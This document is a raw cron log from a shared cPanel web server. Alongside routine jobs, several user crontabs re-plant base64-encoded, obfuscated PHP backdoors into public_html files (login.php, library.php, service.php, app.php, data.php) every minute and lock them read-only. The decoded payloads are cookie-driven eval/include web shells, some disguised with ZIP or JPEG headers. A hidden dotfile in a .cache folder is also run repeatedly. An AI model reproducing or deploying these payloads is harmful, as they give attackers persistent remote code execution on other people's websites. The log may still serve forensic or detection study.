Mar  1 05:21:01 medusa CROND[16752]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:21:01 medusa CROND[16753]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:21:01 medusa CROND[16755]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:21:01 medusa CROND[16757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:21:01 medusa CROND[16765]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:21:01 medusa CROND[16766]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:21:01 medusa CROND[16767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:21:01 medusa CROND[16779]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:22:01 medusa CROND[7749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:22:01 medusa CROND[7805]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:22:01 medusa CROND[7806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:22:01 medusa CROND[7807]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:22:01 medusa CROND[7808]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:22:01 medusa CROND[7809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:22:01 medusa CROND[7810]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:22:01 medusa CROND[7811]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:22:01 medusa CROND[7813]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:22:01 medusa CROND[7817]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:22:01 medusa CROND[7820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:22:01 medusa CROND[7821]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:22:01 medusa CROND[7822]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:22:01 medusa CROND[7854]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:23:01 medusa CROND[31374]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:23:01 medusa CROND[31431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:23:01 medusa CROND[31447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:23:01 medusa CROND[31448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:23:01 medusa CROND[31449]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
